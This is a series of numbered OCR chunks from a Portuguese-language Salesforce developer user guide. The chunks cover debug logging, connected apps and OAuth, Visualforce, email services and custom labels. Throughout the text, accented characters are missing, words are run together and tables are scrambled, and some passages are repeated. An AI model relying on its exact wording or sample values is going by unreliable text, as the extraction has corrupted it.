189. a Performance Unlimited solicita o Developer e Database com Editions Quando voc substitui os n veis do registro de depura o para uma classe ou acionador esses n veis de depura o tamb m se aplicam aos m todos de classe que sua classe ou acionador chamada e aos acionadores que s o executados como resultado Todos os m todos e acionadores de classe no caminho de execu o herdam as configura es de registro de seu chamador a menos que tenham essas configura es substitu das O diagrama a seguir ilustra os n veis de registro de depura o de substitui o no n vel da classe e do acionador Para este cen rio suponha que Class1 esteja causando alguns problemas que voc gostaria de ver mais de perto Para isso os n veis do registro de depura o de Class1 s o elevados para a granularidade mais fina Class3 n o substitui esses arquivos de log e portanto herda os filtros de depura o granulares de Class1 Noentanto UtilityClass j foitestado e deve funcionar adequadamente portanto possui seus filtros de log desativados Da mesma forma Class2 n o est no caminho do c digo que causa um problema portanto tem seu registro minimizado para registrar apenas erros da categoria Apex Code Trigger2 herda essas configura es de registro de Class2 Ajustando o registro de depura o para classes e acionadores Class1 Class3 j UtilityClass Raised Inherited apt a Log Levels Database FINEST
190. a acessar a p gina de detalhes do aplicativo conectado Como op o se o aplicativo conectado ainda n o estiver instalado clique em Instalar Contagem de usu rios O n mero de usu rios que executaram o aplicativo Clique em um valor de Contagem de usu rios para ver informa es sobre cada usu rio incluindo e Quando eles usaram o aplicativo pela primeira vez e A Ultima vez que usou o aplicativo e O n mero de vezes que usou o aplicativo Na p gina Uso do usu rio de aplicativo conectado voc pode encerrar o acesso de um usu rio sess o atual clicando na a o Revogar na fila daquela pessoa Ou clique no bot o Revogar tudo na parte superior da p gina para efetuar logout de todos os que est o usando o aplicativo conectado A o Clique em Bloquear para encerrar todas as sess es de usu rio atuais com o aplicativo conectado e bloquear todas as novas sess es O bloqueio de um aplicativo n o permanente Voc pode clicar em Desbloquear para permitir que os usu rios efetuem login e acessem o aplicativo em outro momento Gerenciando o acesso OAuth para os aplicativos conectados Um aplicativo conectado integra um aplicativo ao Salesforce usando APIs Aplicativos conectados usam os protocolos padr o SAML e OAuth para autenticar fornecer login nico e fornecer tokens para uso com as APIs do Salesforce Al m dos recursos padr o do OAuth os aplicativos conectados permitem que os administradores configurem dife
191. a da Salesforce for na3 salesforce com por exemplo digite https na3 salesforce com apex OlaMundo na barra de endere o do navegador Depois de habilitar o modo de desenvolvimento todas as p ginas do Visualforce ser o exibidas com o rodap do modo de desenvolvimento na parte inferior do navegador Clique na guia com o nome da p gina para abrir o editor de p gina para exibir e editar a marca o do Visualforce associada sem ter que retornar rea de Configura o As altera es s o exibidas imediatamente ap s salvar a p gina Se a p gina usa um controlador personalizado o nome da classe do controlador est dispon vel como uma guia Clique na guia para editar a classe do Apex associada Se a p gina usar alguma extens o de controlador os nomes de cada extens o estar o dispon veis como guias Um clique na guia permite que voc edite a classe Apex associada Se habilitada na Configura o a guia Exibir estado exibir informa es sobre os itens que contribuem para o estado de exibi o da p gina do Visualforce Clique em Salvar acima do painel de edi o para salvar suas altera es e atualizar o conte do da p gina Clique em Refer ncia do componente para exibir a documenta o de todos os componentes do Visualforce suportados Clique em Onde usado a para exibir uma lista de todos os itens no Salesforce que fazem refer ncia p gina como guias personalizadas controladores ou outras p ginas Cli
192. a de neg cios ou use a linguagem de marca o do Visualforce para criar a interface do usu rio Al m disso voc encontrar informa es sobre como integrar seu aplicativo usando APIs e autenticando seus aplicativos externos e Depurando seu c digo Depure seu aplicativo usando o Console do desenvolvedor e Testando suas altera es Teste seu c digo Apex e trabalhe com as ferramentas de teste e Implantar Implemente suas altera es em outra organiza o usando conjuntos de altera es e outras ferramentas Para obter o conjunto completo de documenta o do desenvolvedor veja https developer salesforce com page Documentation Ferramentas de desenvolvimento do Salesforce Esta tabela resume a funcionalidade das v rias ferramentas de desenvolvimento do Salesforce EDICOES Ferramenta C digo Duo Testar Imprir Dispon vel em Dispon vel em Salesforce Console do desenvolvedordo 4 Seu nome ouo Classic Force com menu de acesso r pido As ferramentas dispon veis Tt variam de acordo com a sua edi o do Salesforce Force com IDE 4 developer salesforce com Rodap do modo de A Configura o ou suas desenvolvimento do Visualforce configura es pessoais Editor de c digo Vv Configura o Execu o de teste do Apex e Configura o Conjuntos de altera es Vv Configura o Force com Migration Tool Configura o Aprimorar o Salesforce com c digo Guia do usu rio C digo
193. a do usu rio Integra o de aplicativos com o Salesforce 176 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar AppExchange Personalizar aplicativo E Modificar todos Fazer download de pacotes do Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es A p gina Detalhes do aplicativo conectado exibe informa es sobre o aplicativo conectado incluindo sua vers o e escopos Nela poss vel editar e verificar o uso do aplicativo conectado e associar perfis e permiss es ao aplicativo e Clique em Editar para alterar a configura o do aplicativo na p gina Editar do aplicativo conectado e Clique em Fazer download de metadados para obter os URLs de login e os pontos finais do SAML do provedor de servi os que s o espec ficos da configura o da sua comunidade ou do dom nio personalizado Este bot o aparecer apenas se sua organiza o estiver habilitada como um Provedor de identidade e ap
194. a notifica o para ser enviada Por Para exibir criar editar ou exemplo se a sua organiza o tiver um limite de 1 000 000 de solicita es e voc tiver excluir notifica es estabelecido um limite de 60 e um intervalo de notifica o de 24 horas quando 600 000 e API ativada solicita es da API tiverem sido enviadas em um per odo de 24 horas o usu rio especificado receber uma notifica o e Exibir o nome do usu rio que criou a notifica o e quando a notifica o foi criada assim como a ltima vez que a notifica o foi modificada e o nome do usu rio que fez a modifica o Para criar uma nova notifica o clique em Novo Voc pode criar at dez notifica es por organiza o CONSULTE TAMB M Exibindo notifica es de uso da API Criando e editando notifica es de uso da API Aprimorar o Salesforce com c digo Exibindo notifica es de uso da API Nas p ginas de detalhes sobre notifica es de uso da API voc pode exibir informa es sobre uma notifica o e Destinat rio da notifica o O nome do usu rio para a pessoa qual a notifica o de email foi enviada e Limite A porcentagem do limite de uso que quando alcan ado aciona uma notifica o por email e Intervalo de notifica o Horas A frequ ncia com que as notifica es s o enviadas Por exemplo se o intervalo de notifica es de quatro horas uma notifica o ser enviada somente se a ltima
195. a v version recent profile http nal salesforce com 005x000 feeds http nal salesforce com services data v version chatter feeds groups http nal salesforce com services data v version chatter groups users http nal salesforce com services data v version chatter users feed _items http nal salesforce com services data v version chatter feed items active true user type STANDARD language en US locale en_US utcOffset 28800000 updated at 2013 12 02T18 46 42 000 0000 A seguir ha uma resposta no formato XML lt xml version 1 0 encoding UTF 8 gt lt user gt lt sub gt http login salesforce com id 00Dx000 005x000 lt sub gt lt user id gt 005x000 lt user id gt lt organization id gt 00Dx000 lt organization id gt lt preferred username gt user181135222488950007 com lt preferred username gt lt nickname gt userl 3860098879512678E12 lt nickname gt lt name gt userl LastName lt name gt lt email gt user1 1135222488950007 com lt email gt lt email verified gt true lt email verified gt lt given_name gt userl lt given name gt lt family name gt LastName lt family name gt lt zoneinfo gt America Los Angeles lt zoneinfo gt lt photos gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt thumbnail gt http nal salesforce com profilephoto 005 T lt thumbnail
196. acesso a um aplicativo de acesso remoto poss vel revog lo mais tarde acessando conectados suas informa es pessoais 1 Em suas configura es pessoais insira Detalhes avan ados do usu rio na caixa Busca r pida e selecione Detalhes avan ados do usu rio Nenhum resultado Insira Informa es pessoais na caixa Busca r pida e selecione Informa es pessoais 2 Nase o Aplicativos conectados do OAuth voc pode Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 241 e Exibir informa es sobre cada aplicativo ao qual voc deu acesso al m do n mero de vezes e da ltima vez que o aplicativo tentou acessar suas informa es Nota Um aplicativo pode estar listado mais de uma vez Cada vez que voc conceder acesso a um aplicativo ele obt m uma nova chave de acesso As solicita es de tokens de atualiza o aumentam a Contagem de uso exibida para o aplicativo Voc deve conceder acesso a seus dados do Salesforce de cada dispositivo que utiliza como um laptop e um desktop O limite padr o de cinco chaves de acesso por aplicativo Aplicativos mais recentes usando o protocolo OAuth 2 0 s o aprovados automaticamente para dispositivos adicionais depois que concedido acesso a voc Os aplicativos OAuth 2 0 podem estar listados mais de uma vez Cada linha na tabela representa uma concess o exclusiva ent o se um aplicativo solicitar diversas chaves co
197. ad em um membro da campanha Cria uma oportunidade com base em um membro da campanha Recusa um compromisso Excluir um registro Exclui uma s rie de compromissos ou tarefas Desativa um usu rio do portal de clientes Desativa a conta do portal de clientes Desativa uma conta do portal do parceiro Faz download de um anexo Desativa um usu rio do portal do parceiro Membro da campanha Membro da campanha Compromisso Grupo de an ncios Patrim nio Campanha Membro de campanha Caso Contato Contrato Compromisso Campanha do Google Palavra chave Lead Oportunidade Produto da oportunidade Produto Frase de pesquisa Vers o SFGA Solu o Tarefa An ncio de texto Objetos personalizados Compromisso Tarefa Contato Conta Contato Conta Anexo Documento Aprimorar o Salesforce com c digo Editar EditAllProduct EnableAsPartner EnablePartnerPortalUser EnableSelfService FindDup FollowupEvent FollowupTask HooversProfile IncludeOffline GoogleMaps Guia do usu rio Componentes do Lightning Apex Editar um registro Edita todos os produtos de um cat logo de pre os Designa uma conta como conta de parceiro Ativa um contato como usu rio do portal do parceiro Ativa um contato como usu rio de auto atendimento Exibe leads duplicados Cria um compromisso de acompanhamento Cria uma tarefa de acompanhamento Exibe um perfil de
198. administrador pode optar por aplicar ou ignorar essas restri es escolhendo uma das seguintes op es e Impor restri es de IP Padr o Um usu rio que executa esse aplicativo est sujeito a restri es de IP da organiza o como faixas de IP definidas no perfil do usu rio e Reduzir restri es de IP com o segundo fator Um usu rio que execute esse aplicativo ignora as restri es de IP da organiza o quando alguma destas condi es verdadeira Oaplicativo tem faixas de IP inclu das na lista aprovada e est usando o fluxo de autentica o do OAuth no servidor da Web Apenas as solicita es recebidas dos IPs na lista aprovada s o permitidas Oaplicativo n o tem lista de faixa de IP aprovada est usando o servidor da Web ou o fluxo de autentica o de OAuth do agente do usu rio e o usu rio conclui com sucesso a Confirma o de identidade e Reduzir restri es de IP Um usu rio que executa esse aplicativo conectado n o est sujeito a quaisquer restri es de IP Nota Se a op o de Configura es de sess o Impor intervalos IP para fazer login em toda solicita o estiver ativada ela afetar o comportamento de relaxamento de IP Para obter mais informa es consulte Relaxamento de IP de aplicativo conectado e imposi o de IP cont nuo na p gina 175 Pol tica do token de atualiza o especifica o per odo de validade de um token de atualiza o Os tokens de atualiza o s o usados pelo
199. ado ou clique em Grava o r pida para salvar as altera es e continuar a editar o componente A marca o do Visualforce deve ser v lida para que voc possa salvar o componente Nota Voc tamb m pode criar um componente personalizado no modo de desenvolvimento do Visualforce adicionando uma refer ncia a um componente personalizado que ainda n o exista para a marca o de p gina do Visualforce Depois de salvar a marca o exibido um link de corre o r pida que pode ser usado para criar uma nova defini o de componente incluindo qualquer atributo especificado com base no nome que voc forneceu para o componente Por exemplo se voc ainda n o definiu um componente personalizado chamado meuNovoComponente nem inseriu lt c meuNovoComponente meuNovoAtributo foo gt na marca o de p gina existente ap s clicar em Salvar uma corre o r pida permitir que voc defina um novo componente personalizado chamado meuNovoComponente com a seguinte defini o padr o lt apex component gt lt apex attribute name myattribute type String description TODO lt Begin Default Content REMOVE THIS gt lt h1 gt Congratulations lt h1 gt This is your new Component mynewcomponent lt End Default Content REMOVE THIS gt lt apex component gt Describe me gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 79 poss vel modificar
200. ado de cobran a n o corresponder ao State Code ccorrespondente no objeto Zip Code cc ser exibido um erro AND LEN BillingPostalCode gt 0 OR BillingCountry USA BillingCountry US VLOOKUP SObjectType Zip Code c Fields State Code_c SoObjectType Zip Code c Fields Name LEFT BillingPostalCode 5 lt gt BillingState O exemplo a seguir recupera o r tulo do campo Nome da Conta SObjectType Account Fields Name Label Aprimorar o Salesforce com c digo Dicas S oOrganization Descri o Use Exemplo de regra de valida o Exemplo de fluxo Exemplos do Visualforce Dicas Page Descri o Use Exemplos do Visualforce Guia do usu rio Componentes do Lightning Apex Visualforce 28 Esta vari vel global est dispon vel nas p ginas do Visualforce bot es e links personalizados s controls e regras de valida o Um tipo de campo de mesclagem global a ser usado para fazer refer ncia a informa es de perfil da empresa Use os campos de mesclagem da organiza o para fazer refer ncia cidade ao fax ao ID ou a outros detalhes da organiza o 1 Selecione o tipo de dados SOrganization 2 Selecione um campo de mesclagem como SOrganization Fax Use campos de mesclagem da organiza o para comparar qualquer atributo para a sua organiza o com aquele de suas contas Por exemplo voc pode determinar se a sua organiza o tem o mesmo pa s de suas
201. ados neste site terminam em force com ou esse site n o tem URLs personalizados uma string vazia retornada Se a solicita o atual n o uma solicita o de site esse m todo retorna uma string vazia Esse campo substitui CustomWebAddress e inclui o prefixo do caminho do URL personalizado Retorna um URL de base para o site atual que usa HTTP em vez de HTTPS O dom nio da solicita o atual usado O valor retornado inclui o prefixo de caminho e nunca termina em um Aprimorar o Salesforce com c digo Campo de mesclagem SSite BaseRequestUrl SSite BaseSecureUrl SSite BaseUrl SSite MasterLabel SSite Siteld SSite SiteType SSite SiteTypeLabel Guia do usu rio Componentes do Lightning Apex Visualforce 36 Descri o caractere Se a solicita o atual n o uma solicita o de site esse m todo retorna uma string vazia Retorna o URL de base do site atual para o URL solicitado Isso n o influenciado pelo URL da p gina de refer ncia O URL retornado usa o mesmo protocolo HTTP ou HTTPS da solicita o atual O valor retornado inclui o prefixo de caminho e nunca termina em um caractere Se a solicita o atual n o uma solicita o de site esse m todo retorna uma string vazia Retorna um URL de base para o site atual que usa HTTPS em vez de HTTP O dominio da solicita o atual tem prefer ncia caso suporte HTTPS Dominios que n o sejam subdom nios de Force com t m prefer
202. ai Dispon vel em Enterprise Im E possivel chamar opera es de servi os da Web com pex Usan O a pagina Classes do Apex Performance Unlimited primeiro voc cria uma classe a Apex a partir do documento WSDL do servi o externo da Web Developer e Database com antes de poder chamar seus m todos Editions CONSULTE TAMB M Perguntas frequentes do Apex Quais s o os tipos suportados de esquemas WSDL para chamadas do Apex Para chamadas o Apex s suporta o estilo WSDL agrupado literal no documento junto com os tipos de dados primitivos e incorporados Recomendamos que voc valide o documento WSDL e garanta que ele contenha tipos de esquema suportados Se um tipo n o for suportado pelo Apex uma chamada para uma opera o de servi o da Web poder provocar um erro retornado na resposta chamada como Incapaz de analisar resposta a chamada Tipo do Apex n o encontrado para o item do elemento CONSULTE TAMB M Perguntas frequentes do Apex Qual a diferen a entre classes e acionadores do Apex Uma classe do Apex um modelo ou projeto a partir do qual objetos do Apex s o criados As classes consistem em outras classes m todos definidos pelo usu rio vari veis tipos de exce o e c digo de inicializa o est tico Um acionador o c digo do Apex executado antes ou depois que eventos espec ficos de linguagem de manipula o de dados DML ocorrem por exemplo antes que registros de objetos sejam inseridos n
203. ail USU RIO e Selecione um servi o de email existente para exibir sua configura o ativ lo ou desativ lo exibir ou especificar endere os para ele Para configurar os servi os de email do Apex e os e Clique em Editar para fazer altera es em um servi o de email existente endere os de servi o de e Clique em Excluir para excluir um servi o de email email e Modificar todos os Nota Antes de excluir os servi os de email voc deve excluir todos os endere os dados associados dos servi os de email Parar criar classes do Apex 7 e Apex do autor Observe o seguinte na hora de definir servi os de email P Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 105 O servi o de email processa apenas as mensagens que ele recebe por meio de um desses endere os O Salesforce limita o n mero total de mensagens que todos os servi os de email juntos podem processar diariamente incluindo o Email to Case On Demand As mensagens que excederem esse limite ser o devolvidas descartadas ou colocadas em fila para processamento no dia seguinte dependendo de como voc definir as configura es de resposta da falha em cada servi o de email O Salesforce calcula o limite multiplicando o n mero de licen as do usu rio por 1 000 at o n mero m ximo de 1 000 000 por dia Por exemplo se voc tem 10 licen as a sua organiza o pode processar at 10 000 mensage
204. ais n o s o exibidas no aplicativo Salesforce Classic Mobile Evite usar uma p gina inicial se planeja mobilizar essa guia 9 Insira uma descri o da guia se desejar e clique em Avan ar 10 Escolha os perfis de usu rios para os quais a nova guia personalizada ficar dispon vel e Selecione Aplicar uma visibilidade de guia a todos os perfis e escolha Padr o ativado Padr o desativado ou Guia oculta na lista suspensa e Se preferir selecione Aplicar uma visibilidade de guia diferente a cada perfil e escolha Padr o ativado Padr o desativado ou Guia oculta na lista suspensa para cada perfil 11 Especifique os aplicativos personalizados que devem ter a nova guia 12 Marque Anexar guia s personaliza es pessoais existentes dos usu rios para adicionar a nova guia s configura es de exibi o personalizada dos seus usu rios caso isso tenha sido feito 13 Clique em Salvar CONSULTE TAMB M Definindo p ginas do Visualforce Exce es n o identificadas no Visualforce Se uma p gina do Visualforce n o desenvolvida tiver um erro ou uma exce o n o identificada e Voc ver uma explica o simples do problema no Salesforce e O desenvolvedor que criou a p gina receber o erro por email com sua organiza o e ID de usu rio Nenhum outro dado de usu rio inclu do no relat rio Se voc estiver no modo de desenvolvimento e n o no mesmo namespace da p gina ver a mensagem e o tipo de exce o al
205. al Os nicos valores suportados pelo Salesforce s o login O servidor de autoriza o deve solicitar o login novamente obtendo a reautentica o do usu rio consent O servidor de autoriza o deve solicitar a reaprova o ao usu rio antes de retornar informa es ao cliente v lido passar ambos os valores separados por espa o para exigir que o usu rio fa a login e reautorize Por exemplo prompt login 20consent A seguir h um exemplo de URL para onde o usu rio direcionado https login salesforce com services oauth2 authorize response type token amp client _id 3MVG91KcPoNINVBIPJjdwlJ9LLJbP_ pqwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD ZrXcPCmBv4o 8ds 5iE amp redirect uri https 3A 2F 2Fwww mysite com 2Fuser callback jsp amp state mystate O usu rio aprova o acesso e o cliente recebe callback do Salesforce solicitado que o usu rio efetue login no Salesforce caso ainda n o tenha efetuado Depois o Salesforce exibe uma p gina de aprova o solicitando que o usu rio aprove o acesso ao aplicativo Se o usu rio aprovar o acesso ele ser redirecionado para o URI especificado emuri de redirecionamento com os seguintes valores ap s o sinal Esta n o uma string de consulta chave de acesso OID de sess o do Salesforce que pode ser usado com a API de servi os da Web token type Ovalor Portador para todas as respostas que incluem um token de acesso id token Valor do Salesfor
206. al voc deu acesso al m do n mero de vezes e da ltima vez que o aplicativo tentou acessar suas informa es Nota Um aplicativo pode estar listado mais de uma vez Cada vez que voc conceder acesso a um aplicativo ele obt m uma nova chave de acesso As solicita es de tokens de atualiza o aumentam a Contagem de uso exibida para o aplicativo Voc deve conceder acesso a seus dados do Salesforce de cada dispositivo que utiliza como um laptop e um desktop O limite padr o de cinco chaves de acesso por aplicativo Aplicativos mais recentes usando o protocolo OAuth 2 0 s o aprovados automaticamente para dispositivos adicionais depois que concedido acesso a voc Os aplicativos OAuth 2 0 podem estar listados mais de uma vez Cada linha na tabela representa uma concess o exclusiva ent o EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 242 se um aplicativo solicitar diversas chaves com escopos diferentes voc ver o mesmo aplicativo diversas vezes Mesmo se o aplicativo conectado tiver tentado acessar suas informa es e falhar porque n o conseguiu fazer login os campos Contagem de uso e ltima utiliza o ainda ser o atualiza
207. alizada clique em Debug Depurar e selecione Auto Hide Logs Ocultar registros automaticamente e Para baixar uma c pia do registro selecionado como um arquivo de texto clique em File Arquivo gt Download Log Fazer download do log O nome padr o referente ao arquivo apex log e Para impedir que os registros sejam carregados quando voc abrir o Console do desenvolvedor acesse Help Ajuda gt Preferences Prefer ncias e configure Prevent Logs on Load Evitar registros ao carregar como verdadeiro 7 Nota Os registros do usu rio s o configurados na p gina Registro de depura o na sua organiza o Em Configura o insira Registros de depura o nacaixa Busca r pida e selecione Registros de depura o Configura o de n veis de registro Os n veis de registro determinam a quantidade de informa es sobre uma solicita o que salva em um registro de depura o A an lise de um registro grande pode levar muito tempo Para reduzir o tamanho de um registro ajuste o n vel de registro Use registro detalhado para o c digo que voc est revisando Use o registro resumido para o c digo no qual voc n o tem interesse Para especificar os n veis de registro para solicita es futuras clique em Depurar gt Alterar n veis de registro Esta p gina permite definir sinalizadores de rastreamento e n veis de depura o Para substituir os n veis de registros padr o para uma classe ou acionador espec fico
208. alquer um dos seguintes e Anexos com um tipo de MIME Multipurpose Internet Mail Extension text e Anexos com umtipo de MIME application octet stream e um nome de arquivo com extens o vcf OU vcs Estes s o salvos como tipos de MIME text x vcard e text calendar respectivamente O objeto InboundEmail TextAttachment tem os seguintes campos Nome Tipo Descri o body String Corpo do anexo bodyIsTruncated Booleano ndica se o texto do corpo do anexo est truncado verdadeiro ou n o falso charset String Conjunto de caracteres original do campo de corpo O corpo recodificado como UTF 8 como entrada no m todo do Apex fileName String ome do arquivo anexado Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 116 Nome Tipo Descri o mimeTypeSubType String Tipo de MIME principal e secund rio Objeto InboundEmailResult O objeto InboundEmailResult usado para retornar o resultado do servi o de email Se esse objeto for nulo o resultado ser considerado bem sucedido O objeto InboundEmailResult tem os seguintes campos Nome Tipo Descri o success Booleano Valor que indica se o email foi processado com xito Se for falso o Salesforce rejeitar o email de entrada e enviar um email de resposta ao remetente original contendo a mensagem especificada no campo Mensagem message String Uma mensagem que o Salesforce retorna no corpo de um email de resposta Esse c
209. am argumentos n o confirmam dados para o banco de dados n o enviam emails e s o marcados com a palavra chave testMethod ou a anota o isTest na defini o do m todo Ainda os m todos de teste devem ser definidos nas classes de teste ou seja as classes s o anotadas com isTest Inspecionar registros para problemas de desempenho O Inspetor de registro um visualizador de execu o sens vel ao contexto que mostra a origem de uma opera o o que acionou a opera o e o que ocorreu depois Use esta ferramenta para exibir registros de depura o incluindo eventos do banco de dados processamento do Apex fluxo de trabalho e l gica de valida o Abra um registro de depura o e visualize o desempenho agregado de uma opera o na rvore de desempenho O painel Unidades executadas divide a solicita o em hora e tipo e classifica os hor rios por m todos consultas fluxos de trabalho chamadas DML valida es acionadores e p ginas oferecendo uma ideia clara de como localizar os problemas de desempenho Use o painel Cronograma para exibir uma vis o de cronograma da solicita o geral e percorrer os compromissos de um determinado bloco O painel Limites fornece uma exibi o de resumo de recursos usados e mape los em rela o aos seus limites de solicita o alocados Executando consultas SOQL e SOSL O Console do desenvolvedor fornece uma interface simples para gerenciar consultas SOQL e SOSL Editar e executar consultas
210. ampo pode ser preenchido com texto independente do valor exibido pelo campo Exito Objeto InboundEnvelope O objeto InboundEnvelope armazena as informa es de envelope associadas ao email de entrada e tem os campos a seguir Nome Tipo Descri o toAddress String O nome exibido no campo Para do envelope se houver fromAddress String O nome exibido no campo De do envelope se houver CONSULTE TAMBEM O que sdo servicos de email Vis o geral do c digo do Apex Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 117 R tulos personalizados Vis o geral dos r tulos personalizados R tulos personalizados s o valores de texto personalizados que podem ser acessados pelas classes EDICOES do Apex paginas do Visualforce ou componentes do Lightning Os valores podem ser traduzidos para qualquer idioma suportado pelo Salesforce Os r tulos personalizados permitem que os Dispon vel em Salesforce desenvolvedores criem aplicativos multiling es apresentando informa es automaticamente por Classic e Lightning exemplo texto de ajuda ou mensagens de erro no idioma de origem do usu rio Experience Voc pode criar at 5 000 r tulos personalizados para sua organiza o e eles podem ter at 1 000 caracteres de extens o R tulos personalizados de pacotes gerenciados n o contam em rela o a esse limite Dispon vel em Edi es Developer Professional Enterprise Performa
211. andbox use test salesforce com emvezde login salesforce com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Suporte a GET Salesforce 228 Suportamos tamb m solicita es GET com o token do par metro da string de consulta e o token atual Se um token de acesso for inclu do n s o invalidaremos e revogaremos o token Se um token de atualiza o for inclu do n s o revogaremos assim como qualquer token de acesso associado Por exemplo https login salesforce com services oauth2 revoke token currenttokenID O servidor de autoriza o indica o processamento bem sucedido da solicita o retornando um c digo 200 de status de HTTP Para todas as condi es de erro o c digo de status 400 usado Suporte a JSONP O ponto final da revoga o tamb m aceita solicita es GET com um par metro de callback adicional e retorna a resposta com tipo de conte do application javascript Por exemplo https login salesforce com services oauth2 revoke token XXXXX amp callback myCallback Se a solicita o for bem sucedida um callback ser enviado para a fun o JavaScript definida no par metro de callback da solicita o GET myCallback Se a resposta n o for bem sucedida um callback ser enviado com um c digo de erro myCallback error invalid token CONSULTE TAMB M Usando a chave de acesso Usando a chave de acesso Quando um consumidor que usa o O
212. aniza o O painel de Hist rico exibe suas ltimas 10 consultas para reutiliza o r pida Os resultados s o exibidos em uma grade Resultados da consulta na qual poss vel abrir criar atualizar e excluir registros Em resultados de pesquisa SOSL com v rios objetos cada objeto exibido em uma guia separada Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 12 Filey Edity Debugy Testy Workspace Helpv lt triggerLapxt Account 12 54 PM i ontact iz 55 PM SELECT Contact FirstName Contact Account Name from Contact Query Results Total Rows 20 FirstName Account Name Rose Edge Communications a Sean Edge Communications Jack Burlington Textiles Corp of America Pat Pyramid Construction Inc Andy Dickenson plc Tim Grand Hotels amp Resorts Ltd John Grand Hotels amp Resorts Ltd Stella United Oil amp Gas Corp Lauren Linited Oil amp Gas Corn d Query Grid Save Rows InsertRow Delete Row Refresh Grid Access in Salesforce Create New Open Detail Page Edit Page Logs Tests Checkpoints Quem Editor Progress Problems SELECT Contact FirstName Contact Account Name from Contact EE Executed SELECT Id Name FROM Account WHERE Nam SELECT Contact FirstName Contact Account Execute Query Plan Use Tooling API NESTA SECAO Executar uma consulta SOQL ou pesquisa SOSL Execute consultas SOQL ou pesquisas SOSL no pa
213. ao servidor Se for inclu da uma vari vel de contexto actionLinkId no c digo do lado do servidor de Survey Example que cria o link de a o O Salesforce enviar uma solicita o HTTP com o ID do link de a o que voc pode salvar no banco de dados Este exemplo inclui a vari vel de contexto userId no URL da a o do modelo de link de a o Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 147 User Everyone can see Action Link Template Edit Save Save amp New Cancel Information Action Link Take Survey Position Group Template Action Type API Label Key Action URL https www example com Label doSurvey surveyld 1234 amp salesforceUserld luserld HTTP GET Method Visibility HTTP Custom Request User Body Alias HTTP Headers Default Link E in Group Confirmation E Required Save Save amp New Cancel Required Information 4 Q Dica Vari veis vinculantes e de contexto podem ser usadas no mesmo campo Por exemplo este URL de a o cont m uma vari vel vinculante e uma de contexto https www example com Bindings apiVersion j doSurvey salesforceUserId userId Aprimorar o Salesforce com c digo Cria o de modelos de link de a o Crie modelos de link de a o em Configura o para poder instanciar grupos de links de a o com propriedades em comum a partir da API REST do Chatter ou Apex poss ve
214. apel do usu rio para validar aquele que um campo personalizado chamou de Porcentagem de desconto n o ultrapasse o valor m ximo permitido para aquele papel Discount Percent c gt VLOOKUP ObjectType Role Limits c Fields Limit c SoObjectType Role Limits c Fields Name UserRole Name SUserRole LastModifiedById e O usu rio atual a pessoa que muda o registro que solicitou o valor padr o a regra de valida o ou outra opera o que use esses campos de mesclagem global e Quando um processo Web to Case ou Web to Lead alterar um registro o usu rio atual ser o Propriet rio padr o do lead OU Propriet rio padr o do caso e Quando um processo executa a es agendadas e o usu rio que o iniciou n o est mais ativo SUserRole refere se ao papel do usu rio do fluxo de trabalho padr o O mesmo vale para a es baseadas em tempo em regras de fluxo de trabalho Nota N o poss vel usar os seguintes valores de UserRole no Visualforce e CaseAccessForAccountOwner e ContactAccessForAccountOwner e OpportunityAccessForAccountOwner e PortalType Valores v lidos para a vari vel global Action Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Valores v lidos para a vari vel global Action A tabela a seguir lista as a es que voc pode mencionar com a vari vel global SAction eos objetos nos quais voc pode executar essas a es Todos os objetos suportam a es
215. aplicativos com o Salesforce 244 Se voc criar um registro de metadados personalizados protegido em sua organiza o ele ficar acess vel somente por meio de seu c digo de c digo de pacotes n o gerenciados e de c digo do pacote gerenciado que define seu tipo Os tipos de metadados personalizados tamb m podem ser protegidos fornecendo a mesma prote o de acesso que os registros protegidos Se voc alterar um tipo de protegido para p blico seus registros protegidos permanecer o protegidos e todos os outros registros se tornar o p blicos Se voc usar Configura o para criar um novo registro em um tipo protegido a caixa de sele o Componente protegido ser marcada por padr o Quando um tipo se tornar p blico voc n o poder convert lo em protegido O assinante n o pode criar registros de um tipo protegido A documenta o de tipos de metadados personalizados faz refer ncia a um aplicativo de amostra e tr s empresas fict cias e A Picklists R Us desenvolve aprimoramentos reutiliz veis para a Plataforma Salesforce1 envolvendo a funcionalidade de listas de op es e ATravelApp Inc desenvolve um aplicativo de viagem interplanet ria que usa recursos de listas de op es da Picklists R Us e A Galactic Tours cliente dessas organiza es A Galactic Tours instala o pacote da Picklists R Us e a extens o da TravelApp Inc em sua organiza o Visite o grupo da comunidade Tipos de metadados personalizados
